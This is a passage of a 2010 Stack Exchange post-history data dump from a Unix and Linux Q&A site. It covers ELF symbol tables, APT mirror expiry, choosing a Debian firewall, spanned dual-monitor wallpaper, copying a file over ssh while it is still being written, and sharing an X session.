png_convert_from_time_t&#xD;&#xA;    000048d0 T png_convert_to_rfc1123&#xD;&#xA;    000051b0 T png_create_info_struct&#xD;&#xA;    00013040 T png_create_read_struct&#xD;&#xA;    00012c20 T png_create_read_struct_2&#xD;&#xA;    00014a40 T png_create_write_struct&#xD;&#xA;    00014710 T png_create_write_struct_2&#xD;&#xA;    00004230 T png_data_freer&#xD;&#xA;    00005140 T png_destroy_info_struct&#xD;&#xA;    00010eb0 T png_destroy_read_struct&#xD;&#xA;    00013da0 T png_destroy_write_struct&#xD;&#xA;    0001d0f0 T png_error&#xD;&#xA;    0001ca10 T png_free&#xD;&#xA;    00004a50 T png_free_data&#xD;&#xA;    0001c9d0 T png_free_default&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5267" PostHistoryTypeId="2" PostId="2543" RevisionGUID="941fc813-d781-420e-a403-21e7b0414d9a" CreationDate="2010-09-30T10:16:20.097" UserId="1339" Text="There are different executable file formats on a *nix system. a.out was a common format some years ago and today its ELF on nearby all major systems.&#xD;&#xA;&#xD;&#xA;ELF consists of a headers describing each of the files data sections.&#xD;&#xA;&#xD;&#xA;The part you are looking for is the symbol table, where each symbol (function, variable) is mapped to its address.&#xD;&#xA;&#xD;&#xA;Shared libraries keep their global symbols in a section called .dynsym&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What you are looking for are symbols of the type function and a global binding in this section.&#xD;&#xA;&#xD;&#xA;`readelf  --syms ./libfoo.so` will give you a output of the symbols.&#xD;&#xA;&#xD;&#xA;On Solaris and FreeBSD theres also `elfdump ` available.&#xD;&#xA;&#xD;&#xA;`objdump` displays also a lot of information about your object file and you can specify a section by using the `-j` switch." />
  <row Id="5268" PostHistoryTypeId="2" PostId="2544" RevisionGUID="25e09af2-329a-4f4c-a186-9c3ff54778a9" CreationDate="2010-09-30T10:49:45.383" UserId="688" Text="I have a local mirror (created with debmirror), and when I try to do a cache update (`apt-get update`) after a few days, I get this:&#xD;&#xA;&#xD;&#xA;    E: Release file expired, ignoring file:/home/wena/.repo_bin/dists/sid/Release (invalid since 14h 31min 45s)                                                  &#xD;&#xA;&#xD;&#xA;How do I work around that?" />
  <row Id="5269" PostHistoryTypeId="1" PostId="2544" RevisionGUID="25e09af2-329a-4f4c-a186-9c3ff54778a9" CreationDate="2010-09-30T10:49:45.383" UserId="688" Text="how to work around APT's &quot;Release file expired&quot; problem" />
  <row Id="5270" PostHistoryTypeId="3" PostId="2544" RevisionGUID="25e09af2-329a-4f4c-a186-9c3ff54778a9" CreationDate="2010-09-30T10:49:45.383" UserId="688" Text="édebianà" />
  <row Id="5271" PostHistoryTypeId="2" PostId="2545" RevisionGUID="59de241c-017d-478a-859d-4820b2627ff8" CreationDate="2010-09-30T11:42:23.277" UserId="1339" Text="The release files have a valid-until entry, e.g. `Valid-Until: Thu, 07 Oct 2010 08:17:56 UTC`&#xD;&#xA;&#xD;&#xA;If the release file isn't valid anymore, you should run debmirror again to check if there are any changes in the repository. One change will be the release file and you will get a new validity for it.&#xD;&#xA;&#xD;&#xA;You could easily automate this with a crontab entry." />
  <row Id="5272" PostHistoryTypeId="6" PostId="2544" RevisionGUID="02188602-bd2f-4bca-8219-c8051302034e" CreationDate="2010-09-30T11:44:04.397" UserId="1339" Comment="edited tags" Text="édebianàéaptà" />
  <row Id="5273" PostHistoryTypeId="2" PostId="2546" RevisionGUID="c981f8dc-4984-4f2a-8718-62b5770917bc" CreationDate="2010-09-30T11:51:07.670" UserId="2074" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have to install a firewall on my server (so without X Server). It's a debian lenny. If it is possible, I want to avoid the use of iptable. Is there a way to install/configure a firewall for a newbie ?&#xD;&#xA;&#xD;&#xA;Thks" />
  <row Id="5274" PostHistoryTypeId="1" PostId="2546" RevisionGUID="c981f8dc-4984-4f2a-8718-62b5770917bc" CreationDate="2010-09-30T11:51:07.670" UserId="2074" Text="Debian Which firewall for a newbie" />
  <row Id="5275" PostHistoryTypeId="3" PostId="2546" RevisionGUID="c981f8dc-4984-4f2a-8718-62b5770917bc" CreationDate="2010-09-30T11:51:07.670" UserId="2074" Text="édebianàéfirewallà" />
  <row Id="5276" PostHistoryTypeId="2" PostId="2547" RevisionGUID="c9acb586-f1a2-4623-af25-74438d4f7b69" CreationDate="2010-09-30T12:41:54.390" UserId="1339" Text="At first, a firewall should be the last step to secure a server. Remove all software and services which are not needed, update your system with the latest available security patches and review your config files.&#xD;&#xA;&#xD;&#xA;Why do you want to avoid iptables? &#xD;&#xA;&#xD;&#xA;&quot;Beacause I'm a newbie&quot; is no real excuse. A &quot;one click everything secure&quot; firewall doesn't exist and if a software product uses such a slogan, its likely to be just snakeoil software.&#xD;&#xA;&#xD;&#xA;If you are not experienced in networking basics you will have to learn this for configuring a working firewall. :-)&#xD;&#xA;&#xD;&#xA;If you don't want to create the iptable rules yourself, you have two options:&#xD;&#xA;&#xD;&#xA;* customize existing scripts found on the net&#xD;&#xA;* use a GUI tool to create the rules yourself&#xD;&#xA;&#xD;&#xA;iptables is your interface to the networking layer of the kernel. Nearby every solution for linux will depend on it.&#xD;&#xA;&#xD;&#xA;[Here][1] are [some][2] commented [example][3] scripts/tutorials. You will easily find more with a [google search][4].&#xD;&#xA;&#xD;&#xA;Here is a list of GUI tools you can use to create your iptable rules:&#xD;&#xA;&#xD;&#xA;* [FirewallBuilder][5]&#xD;&#xA;* [EasyChains][6]&#xD;&#xA;* [FireStarter][7]&#xD;&#xA;&#xD;&#xA;A great book about linux servers and security is [&quot;Building Secure Servers with Linux&quot;][8] from O'Reilly.&#xD;&#xA;&#xD;&#xA;Don't get discouraged and sorry for the &quot;hard&quot; words, but a server on the internet is not a toy and you will have some responsibility for this.&#xD;&#xA;&#xD;&#xA;  [1]: http://oceanpark.com/notes/firewall_example.html&#xD;&#xA;  [2]: http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch14_:_Linux_Firewalls_Using_iptables&#xD;&#xA;  [3]: http://networking.ringofsaturn.com/Unix/iptables.php&#xD;&#xA;  [4]: http://www.google.de/search?hl=en&amp;q=iptables+examples+configuration&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&#xD;&#xA;  [5]: http://www.fwbuilder.org/&#xD;&#xA;  [6]: http://sourceforge.net/projects/easychains/&#xD;&#xA;  [7]: http://sourceforge.net/projects/firestarter/&#xD;&#xA;  [8]: http://oreilly.com/catalog/9780596002176" />
  <row Id="5277" PostHistoryTypeId="2" PostId="2548" RevisionGUID="02cee903-f899-4c64-bbb5-9d1acdffd776" CreationDate="2010-09-30T14:50:09.440" UserId="2075" Text="I can't believe the accepted answer here starts out saying &quot;It's not something you need to do for more speed / memory / xxx whatever.&quot;&#xD;&#xA;&#xD;&#xA;This is totally false.  I routinely custom build my Kernels to both remove unneeded code as well as including performance enhancing code mostly related to hardware.&#xD;&#xA;&#xD;&#xA;For example, BIG SMP under Slackware is the default and on a Dell 2800, for example, will consume a sizeable foot print to run things like GFSD that, also by the way, consumes CPU ticks for something I don't need.  Likewise for NFSD and other catch-all to please all mentalities which is fine if you're just need to get Linux on a box and running.&#xD;&#xA;&#xD;&#xA;All my production boxes are custom Kernels.  If I'm on common Dell hardware, it's simple matter of copying the kernel's .config file around to each box and compiling the kernel and installing." />
  <row Id="5278" PostHistoryTypeId="5" PostId="2548" RevisionGUID="3c1e3ebb-3e34-4a10-aee7-161e53cf402d" CreationDate="2010-09-30T14:58:10.370" UserId="2075" Comment="added 374 characters in body" Text="I can't believe the accepted answer here starts out saying &quot;It's not something you need to do for more speed / memory / xxx whatever.&quot;&#xD;&#xA;&#xD;&#xA;This is totally false.  I routinely custom build my Kernels to both remove unneeded code as well as including performance enhancing code mostly related to hardware.  For example, I run some older hardware and can eek out some performance gains by enabling rarely enabled Kernel drivers such as HPT36x chipset support on some older MoBos that have this built-in.&#xD;&#xA;&#xD;&#xA;Another example, BIG SMP under Slackware is the default and on a Dell 2800, for example, will consume a sizeable foot print to run things like GFSD (not as a kernel module) that, also by the way, consumes CPU ticks for something I don't need.  Likewise for NFSD and other catch-all to please all mentalities which is fine if you're just trying to get a Linux on a box and running but if you do care about &quot;speed / memory / xxx whatever&quot; then these things matter and work.&#xD;&#xA;&#xD;&#xA;All my production boxes are custom Kernels.  If I'm on common hardware such as a Dell series (2800, 2850, 2900, etc...) hardware, it's simple matter of copying the kernel's .config file around to each box and compiling the kernel and installing." />
  <row Id="5279" PostHistoryTypeId="2" PostId="2549" RevisionGUID="fb5dad9b-0a7f-4569-ae04-b25394ac5c1d" CreationDate="2010-09-30T15:01:07.873" UserId="2049" Text="On Ubuntu 10.4 with NVIDIA drivers I have dual monitors setup with TwinView.  How do I configure a single wallpaper to span both monitors?  Right now the same wallpaper is replicated on both monitors." />
  <row Id="5280" PostHistoryTypeId="1" PostId="2549" RevisionGUID="fb5dad9b-0a7f-4569-ae04-b25394ac5c1d" CreationDate="2010-09-30T15:01:07.873" UserId="2049" Text="How do I set up dual monitor wallpaper (Ubuntu/NVIDIA)? " />
  <row Id="5281" PostHistoryTypeId="3" PostId="2549" RevisionGUID="fb5dad9b-0a7f-4569-ae04-b25394ac5c1d" CreationDate="2010-09-30T15:01:07.873" UserId="2049" Text="éubuntuà" />
  <row Id="5282" PostHistoryTypeId="6" PostId="2549" RevisionGUID="ce48a816-13b5-404b-8391-815c1ba2eafe" CreationDate="2010-09-30T15:07:31.640" UserId="73" Comment="edited tags" Text="éubuntuàétwinviewàéwallpaperà" />
  <row Id="5283" PostHistoryTypeId="2" PostId="2550" RevisionGUID="1205a67c-6308-48ca-8f6c-32debf35449e" CreationDate="2010-09-30T15:35:37.500" UserId="1207" Text="You might consider trying [ufw][1].  While it was created for Ubuntu Server, I believe that that it is also available in Debian.  While I would say that you eventually want to move to writing your own iptable rules, I initially found ufw very easy to use and very easy to transition from. Here are some highlights:&#xD;&#xA;&#xD;&#xA; - Convienient Syntax: `ufw allow 22` or `ufw allow ssh` is all that is required to allow inbound ssh traffic if your default policy is DENY.&#xD;&#xA;&#xD;&#xA; - Easy Logging: `ufw logging on` will turn on fairly reasonable logging.  The nice thing about the logging is that by default it drops particularly noisy services (port 137 anyone?).&#xD;&#xA;&#xD;&#xA; - Ability to implement complicated policies: On my home machine I use ufw and am currently running a fairly complicated policy.  &#xD;&#xA;&#xD;&#xA; - Ability to add your own iptable rules.  Pretty much any policy can still be implemented with ufw even if the default interface doesn't provide a mechanism because you can always add your own rules.&#xD;&#xA;&#xD;&#xA; - Great Documentation: `man ufw` is often all you need to solve some problem or answer some question--which is great if you are setting up your firewall when offline.&#xD;&#xA;&#xD;&#xA;This is not a &quot;click one button and you will be secure&quot; firewall.  At the end of the day what it really does is provide an easy to use rule-creation syntax, some abstraction around `iptables-save` and `iptables-restore` and brings some default rules and practice that a newbie might not know about. &#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/10.04/serverguide/C/firewall.html" />
  <row Id="5284" PostHistoryTypeId="5" PostId="2550" RevisionGUID="7cd7c477-2b5d-47af-b4da-52fca0a2af89" CreationDate="2010-09-30T15:54:38.000" UserId="1207" Comment="added 220 characters in body" Text="You might consider trying [ufw][1].  While it was created for Ubuntu Server, I believe that that it is also available in Debian. (**UPDATE**: Unfortunately, it looks like it is only available for squeeze and sid according to [packages.debian.org][2], but it might still be worth looking at.)  While I would say that you eventually want to move to writing your own iptable rules, I initially found ufw very easy to use and very easy to transition from. Here are some highlights:&#xD;&#xA;&#xD;&#xA; - Convienient Syntax: `ufw allow 22` or `ufw allow ssh` is all that is required to allow inbound ssh traffic if your default policy is DENY.&#xD;&#xA;&#xD;&#xA; - Easy Logging: `ufw logging on` will turn on fairly reasonable logging.  The nice thing about the logging is that by default it drops particularly noisy services (port 137 anyone?).&#xD;&#xA;&#xD;&#xA; - Ability to implement complicated policies: On my home machine I use ufw and am currently running a fairly complicated policy.  &#xD;&#xA;&#xD;&#xA; - Ability to add your own iptable rules.  Pretty much any policy can still be implemented with ufw even if the default interface doesn't provide a mechanism because you can always add your own rules.&#xD;&#xA;&#xD;&#xA; - Great Documentation: `man ufw` is often all you need to solve some problem or answer some question--which is great if you are setting up your firewall when offline.&#xD;&#xA;&#xD;&#xA;This is not a &quot;click one button and you will be secure&quot; firewall.  At the end of the day what it really does is provide an easy to use rule-creation syntax, some abstraction around `iptables-save` and `iptables-restore` and brings some default rules and practice that a newbie might not know about. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/10.04/serverguide/C/firewall.html&#xD;&#xA;  [2]: http://packages.debian.org/search?keywords=ufw" />
  <row Id="5285" PostHistoryTypeId="6" PostId="2546" RevisionGUID="6feba60d-fa88-4c14-bd4b-b26a5e8c7537" CreationDate="2010-09-30T15:54:57.843" UserId="1207" Comment="edited tags" Text="ésecurityàédebianàéfirewallà" />
  <row Id="5286" PostHistoryTypeId="2" PostId="2551" RevisionGUID="5997ef54-110e-4435-bb58-4cdaf31f38e0" CreationDate="2010-09-30T15:59:54.093" UserId="2056" Text="Hope [this][1] will help. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?p=4873266#post4873266" />
  <row Id="5287" PostHistoryTypeId="12" PostId="2551" RevisionGUID="f7f24919-9678-47f6-ab45-90368d81286c" CreationDate="2010-09-30T15:59:59.567" UserId="2056" Text="[{&quot;Id&quot;:2056,&quot;DisplayName&quot;:&quot;Andrejs Cainikovs&quot;}]" />
  <row Id="5288" PostHistoryTypeId="5" PostId="2551" RevisionGUID="7ff9be0f-4062-47ee-beec-14685b522e57" CreationDate="2010-09-30T16:09:36.353" UserId="2056" Comment="added 2373 characters in body" Text="You need panoramic (dual-screen) wallpaper for that. There is two options how you can get it:&#xD;&#xA;&#xD;&#xA;**Download:**&#xD;&#xA;&#xD;&#xA;[DeviantArt][1] is your friend.&#xD;&#xA;&#xD;&#xA;**Make it by yourself:**&#xD;&#xA;&#xD;&#xA;Taken from [this post][2].&#xD;&#xA;&#xD;&#xA; 1. Get screen resolution of your monitor&#xD;&#xA;- Goto: System&gt;Preferences&gt;Screen resolution&#xD;&#xA;- Here you see a window with an example twin view screen with big letters &quot;Cloned output.&quot; Below it is a listbox with the resolution, in my case 3360x1050 (width x height). Twin view ofcourse means both screens so your monitor = (width / 2 x height). So my monitor resolution is 1680x1050.&#xD;&#xA; 2. Goto to wallpaper website and download two images, one for left &amp; one for right monitor.&#xD;&#xA;- I used the website http://www.mandolux.com/&#xD;&#xA;Download the images which apply for your monitor, so in this case for me this means two wallpaper images both with resolution of 1680x1050 (see step 1 why). &#xD;&#xA; 3. Open GIMP, I used version 2.4.5&#xD;&#xA;If you do not have it installed then open terminal and type &#xD;&#xA;&quot;sudo apt-get install gimp&quot; this will install the latest GIMP version.&#xD;&#xA; 4. Within GIMP, create a new image with correct resolution&#xD;&#xA;- Goto, File &gt; New &#xD;&#xA;- Width: fill in twin view width (not monitor width), so in my case this is 3360&#xD;&#xA;- Height: fill in twin view height, so in my case this is 1050&#xD;&#xA;- Click 'Advanced Options' and select Fill with: Transparency&#xD;&#xA; 5. Within GIMP, open wallpaper images as layers&#xD;&#xA;- Goto, File &gt; open as layers: select the right monitor wallpaper first and click open button.&#xD;&#xA;- Then again goto, File &gt; open as layers: select the left monitor wallpaper.&#xD;&#xA; 6. Drag &amp; drop layers&#xD;&#xA;- Goto, Tools &gt; Transform Tools &gt; Move (now you can drag&amp;drop layers)&#xD;&#xA;- Try to Align layers by hand. You can get a little help by selecting:Image &gt; Align available Layers.&#xD;&#xA;- When two layers are correctly juxtaposed (always wanted to use that word in a sentence ) play around with with Layer &gt; Layer to image size and Layer &gt; auto crop layer until it seems about right.&#xD;&#xA; 7. Flatten image&#xD;&#xA;- Goto, Image &gt; flatten image&#xD;&#xA;&#xD;&#xA;Now save image and try to set as wallpaper. It should be equally distributed over your monitors, by this I mean. The 'left' part of the wallpaper image should only be visible on your left monitor and the 'right' part of the same wallpaper should only be visible the right part of your monitor.&#xD;&#xA;&#xD;&#xA;  [1]: http://browse.deviantart.com/?qh=&amp;section=&amp;global=1&amp;q=dual+display+wallpaper&#xD;&#xA;  [2]: http://ubuntu-virginia.ubuntuforums.org/showthread.php?p=4873266" />
  <row Id="5289" PostHistoryTypeId="13" PostId="2551" RevisionGUID="7c762336-6237-41cd-b101-0cc15c4f034b" CreationDate="2010-09-30T16:09:43.937" UserId="2056" Text="[{&quot;Id&quot;:2056,&quot;DisplayName&quot;:&quot;Andrejs Cainikovs&quot;}]" />
  <row Id="5290" PostHistoryTypeId="12" PostId="2551" RevisionGUID="96d4bec0-e8e2-49b4-b931-0b892126cbfc" CreationDate="2010-09-30T16:13:49.950" UserId="2056" Text="[{&quot;Id&quot;:2056,&quot;DisplayName&quot;:&quot;Andrejs Cainikovs&quot;}]" />
  <row Id="5291" PostHistoryTypeId="5" PostId="2551" RevisionGUID="acf5af98-a4d3-4cca-a39c-1824c6ac8318" CreationDate="2010-09-30T16:30:36.523" UserId="2056" Comment="deleted 2296 characters in body; added 263 characters in body" Text="You can't. Lucid Lynx (your Ubuntu version) has lost this capability, and a [bug][1] has been filed.&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;Seems like there is a [temporary fix][2] already. Hope this helps:&#xD;&#xA;&#xD;&#xA;    gconftool-2 --set &quot;/desktop/gnome/background/picture_options&quot;&#xD;&#xA;    --type string &quot;spanned&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/ubuntu/+source/meta-gnome2/+bug/521492&#xD;&#xA;  [2]: http://paololim.posterous.com/dual-monitor-wallpaper-not-scaling-across-bot" />
  <row Id="5292" PostHistoryTypeId="13" PostId="2551" RevisionGUID="d44bb0a2-13ae-43c7-b3da-b04f599402ab" CreationDate="2010-09-30T16:30:45.633" UserId="2056" Text="[{&quot;Id&quot;:2056,&quot;DisplayName&quot;:&quot;Andrejs Cainikovs&quot;}]" />
  <row Id="5293" PostHistoryTypeId="5" PostId="2551" RevisionGUID="7bb3e96d-7bf8-41b1-8bdb-abc5a5305410" CreationDate="2010-09-30T16:37:25.170" UserId="2056" Comment="added 102 characters in body" Text="You can't. Lucid Lynx (your Ubuntu version) has lost this capability, and a [bug][1] has been filed.&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;Seems like there is a [temporary fix][2] already. Hope this helps:&#xD;&#xA;&#xD;&#xA; 1. Set desired wallpaper as you usually do&#xD;&#xA; 2. Execute this command in the console:  &#xD;&#xA;    `gconftool-2 --set &quot;/desktop/gnome/background/picture_options&quot; --type string &quot;spanned&quot;`&#xD;&#xA; 3. Do the dance&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/ubuntu/+source/meta-gnome2/+bug/521492&#xD;&#xA;  [2]: http://paololim.posterous.com/dual-monitor-wallpaper-not-scaling-across-bot" />
  <row Id="5294" PostHistoryTypeId="2" PostId="2552" RevisionGUID="0bacb0ba-2b47-4a50-a34e-ce410ca8cca7" CreationDate="2010-09-30T16:41:08.640" UserId="1474" Text="I recommend the `firehol` package." />
  <row Id="5295" PostHistoryTypeId="5" PostId="2531" RevisionGUID="5335c3c4-6f39-491f-98b8-08dd3cb59e2f" CreationDate="2010-09-30T17:57:30.843" UserId="1762" Comment="added 2 characters in body" Text="This sounds like a perfect application for [virtualenv][1], a very popular tool for creating isolated Python environments. This is a sample command to specify the version of Python&#xD;&#xA;&#xD;&#xA;    $ virtualenv --python=/usr/bin/python2.6 myvirtualenv&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pypi.python.org/pypi/virtualenv" />
  <row Id="5296" PostHistoryTypeId="2" PostId="2553" RevisionGUID="52744a83-cd84-485c-9f73-6466fb725a4f" CreationDate="2010-09-30T18:29:54.600" UserId="1207" Text="Here is the situation:&#xD;&#xA;&#xD;&#xA;1. I am uploading a large file from client A to a server using sftp.&#xD;&#xA;2. I also need to download this file from the server to client B over ssh.&#xD;&#xA;&#xD;&#xA;What I would like to do is start the transfer from the server to client B when the upload is still happening from client A.&#xD;&#xA;&#xD;&#xA;What is the best method/tool to get this done?" />
  <row Id="5297" PostHistoryTypeId="1" PostId="2553" RevisionGUID="52744a83-cd84-485c-9f73-6466fb725a4f" CreationDate="2010-09-30T18:29:54.600" UserId="1207" Text="How to copy a file that is still being written over ssh?" />
  <row Id="5298" PostHistoryTypeId="3" PostId="2553" RevisionGUID="52744a83-cd84-485c-9f73-6466fb725a4f" CreationDate="2010-09-30T18:29:54.600" UserId="1207" Text="ésshàéfileötransferà" />
  <row Id="5299" PostHistoryTypeId="2" PostId="2554" RevisionGUID="44022c10-2bf2-41ac-8546-16798b3bf567" CreationDate="2010-09-30T18:45:01.153" UserId="1571" Text="I have 2 computers (both running linux) and I'm currently using synergy to use them. This is great, but now I'm wondering, is there any way (is it possible? being worked on? tried and failed? definitely not possible?) to not only share a mouse/keyboard/clipboard between the computers, but to share an X session? What I'm thinking is being able to drag X windows between monitors. &#xD;&#xA;&#xD;&#xA;I realize that this is extremely non-trivial to do and I know enough about linux (though not about xserver) that I'd like to pursue this idea even if there's nothing that does this for you.&#xD;&#xA;&#xD;&#xA;Also, I don't need to be able to just &quot;install this and it works&quot;. I'm completely willing (and would be surprised if it didn't require) to install custom kernals, or mount partitions between machines, or whatever it takes. Since I assume it would require the same instance of xorg server running on both machines." />
  <row Id="5300" PostHistoryTypeId="1" PostId="2554" RevisionGUID="44022c10-2bf2-41ac-8546-16798b3bf567" CreationDate="2010-09-30T18:45:01.153" UserId="1571" Text="Sharing an X server (session) across computers" />
  <row Id="5301" PostHistoryTypeId="3" PostId="2554" RevisionGUID="44022c10-2bf2-41ac-8546-16798b3bf567" CreationDate="2010-09-30T18:45:01.153" UserId="1571" Text="éxorgàékvmà" />
  <row Id="5302" PostHistoryTypeId="2" PostId="2555" RevisionGUID="3c236e23-2ca9-4867-a8f7-7f3a78db3082" CreationDate="2010-09-30T18:50:42.623" UserId="1942" Text="Does resolution really matter? Can you physically distinguish between resolutions greater then 1000 lpi? Does any tablet ever come with less then 1000 lpi?&#xD;&#xA;" />
  <row Id="5303" PostHistoryTypeId="2" PostId="2556" RevisionGUID="02bcd2f2-82cb-4340-bc19-6f92f45f1ae6" CreationDate="2010-09-30T19:22:12.090" UserId="1924" Text="I was trying to install JRE but I failed.&#xD;&#xA;&#xD;&#xA;    oneat@oneat-desktop:~/Downloads$ sudo rpm -i --force-debian jre-6u21-linux-i586.rpm&#xD;&#xA;    [sudo] password for oneat: &#xD;&#xA;    error: Failed dependencies:&#xD;&#xA;        /bin/basename is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/cat is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/cp is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/gawk is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/grep is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/ln is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/ls is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/mkdir is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/mv is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/pwd is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/rm is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/sed is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/sort is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/touch is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/cut is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/dirname is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/expr is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/find is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/tail is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/tr is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /usr/bin/wc is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;        /bin/sh is needed by jre-1.6.0_21-fcs.i586&#xD;&#xA;&#xD;&#xA;Do you know any treat for that?" />
  <row Id="5304" PostHistoryTypeId="1" PostId="2556" RevisionGUID="02bcd2f2-82cb-4340-bc19-6f92f45f1ae6" CreationDate="2010-09-30T19:22:12.090" UserId="1924" Text="Problems with RPM (JRE)" />
  <row Id="5305" PostHistoryTypeId="3" PostId="2556" RevisionGUID="02bcd2f2-82cb-4340-bc19-6f92f45f1ae6" CreationDate="2010-09-30T19:22:12.090" UserId="1924" Text="éubuntuàérpmà" />
  <row Id="5306" PostHistoryTypeId="2" PostId="2557" RevisionGUID="4efdcd9c-8e97-4b31-9181-b90128a0ba90" CreationDate="2010-09-30T19:42:45.580" UserId="1941" Text="I can't try it at the moment, so this might well fail: My idea is this: Mount the directory where the file is arriving in client B, e.g. with sshfs to /mnt/server in the filesystem of client b. Then&#xD;&#xA;&#xD;&#xA;    tail +0 -f /mnt/server/thefileinquestion &gt; ~/finalfile" />
  <row Id="5307" PostHistoryTypeId="2" PostId="2558" RevisionGUID="a84d00c8-ded8-4a9e-b8e3-91276c600def" CreationDate="2010-09-30T20:37:32.347" UserId="116" Text="For a single file instead of using SFTP you could pipe the file over ssh using `cat` or `pv` at the sending side and using `tee` on the middle server to both send the data to a file there and send a copy over the another ssh link the other side of which just writes the data to a file. The exact voodoo required I'll leave as an exercise for the reader, as I've not got time to play right now (sorry). This method would only work if the second destination is publicly accessible via SSH which may not be the case as you describe it as a client machine.&#xD;&#xA;&#xD;&#xA;Another approach, which is less &quot;run and wait&quot; but may otherwise be easier use `rsync` between the server and client B. The first time you run this it may get a partial copy of the data, but you can just re-run it to get more data afterwards (with one final run once the Client1-&gt;Server transfer is complete). This will only work if the server puts the data direct into the right file-name during the SFTP transfer (sometimes you will see the data going into a temporary file which is then renamed once the file is completely transferred - this is done to make the file update more atomic but will render the rsync idea unusable). You could also use rsync for the C1-&gt;S transfer instead of scp (if you use the `--inplace` option to avoid the problem mentioned above) - using rsync would also give you protection against needing to resend everything if the C1-&gt;Server connection experiences problems during a large transfer (I tend to use `rsync --inplace -a --progress &lt;source&gt; &lt;dest&gt;` instead of scp/sftp when rsync is available, for this &quot;transfer resume&quot; behaviour)." />
  <row Id="5308" PostHistoryTypeId="5" PostId="2558" RevisionGUID="d42a4a40-113f-466f-af9c-339934671d61" CreationDate="2010-09-30T20:46:31.957" UserId="116" Comment="added 795 characters in body" Text="For a single file instead of using SFTP you could pipe the file over ssh using `cat` or `pv` at the sending side and using `tee` on the middle server to both send the data to a file there and send a copy over the another ssh link the other side of which just writes the data to a file. The exact voodoo required I'll leave as an exercise for the reader, as I've not got time to play right now (sorry). This method would only work if the second destination is publicly accessible via SSH which may not be the case as you describe it as a client machine.&#xD;&#xA;&#xD;&#xA;Another approach, which is less &quot;run and wait&quot; but may otherwise be easier use `rsync` between the server and client B. The first time you run this it may get a partial copy of the data, but you can just re-run it to get more data afterwards (with one final run once the Client1-&gt;Server transfer is complete). This will only work if the server puts the data direct into the right file-name during the SFTP transfer (sometimes you will see the data going into a temporary file which is then renamed once the file is completely transferred - this is done to make the file update more atomic but will render the rsync idea unusable). You could also use rsync for the C1-&gt;S transfer instead of scp (if you use the `--inplace` option to avoid the problem mentioned above) - using rsync would also give you protection against needing to resend everything if the C1-&gt;Server connection experiences problems during a large transfer (I tend to use `rsync --inplace -a --progress &lt;source&gt; &lt;dest&gt;` instead of scp/sftp when rsync is available, for this &quot;transfer resume&quot; behaviour).&#xD;&#xA;&#xD;&#xA;To summarise the above, running:&#xD;&#xA;&#xD;&#xA;    rsync --inplace -a --progress &lt;source&gt; user@server:/&lt;destination_file_or_folder&gt;&#xD;&#xA;on client1 then running&#xD;&#xA;&#xD;&#xA;    rsync --inplace -a --progress user@server:/&lt;destination_file_or_folder&gt; &lt;destination_on_cli2&gt;&#xD;&#xA;on client2 repeatedly until the first transfer is complete (then running once more to make sure you've got everything). `rsync` is very good at only transferring the absolute minimum it needs to update a location instead of transferring the whole lot each time. You might want to the `--checksum` option to the rsync commands (which will take much more CPU time for large files but won't result in more data being transfer unless it is needed) and the `--compress` option if the data you are transferring is not already in a compressed format." />
  <row Id="5309" PostHistoryTypeId="2" PostId="2559" RevisionGUID="8529f122-fabf-4167-8ea9-c937d5ea7e0b" CreationDate="2010-09-30T20:53:09.107" UserId="2079" Text="I think this should work:&#xD;&#xA;&#xD;&#xA;    user@clientA:~$ cat file | ssh server &quot;cat &gt; dest&quot;&#xD;&#xA;&#xD;&#xA;and then&#xD;&#xA;&#xD;&#xA;    user@clientB:~$ ssh server &quot;tail +0 -f dest&quot; &gt; file&#xD;&#xA;&#xD;&#xA;Add the pv command if you want to see your throughput." />
  <row Id="5310" PostHistoryTypeId="2" PostId="2560" RevisionGUID="e960866b-578c-4eee-9025-47347ad5236a" CreationDate="2010-09-30T20:58:44.420" UserId="2080" Text="You could look into xpra (http://code.google.com/p/partiwm/wiki/xpra) - it's not quite as smooth as you describe (no dragging between X servers) but it will give you the ability to start a program on one machine and then later detach it and reattach it on another machine. (Think of it as screen for GUI applications.)&#xD;&#xA;&#xD;&#xA;It's difficult to get tighter integration than that, because the process is still tied to the machine you start the program on, and process migration is a really hard problem." />
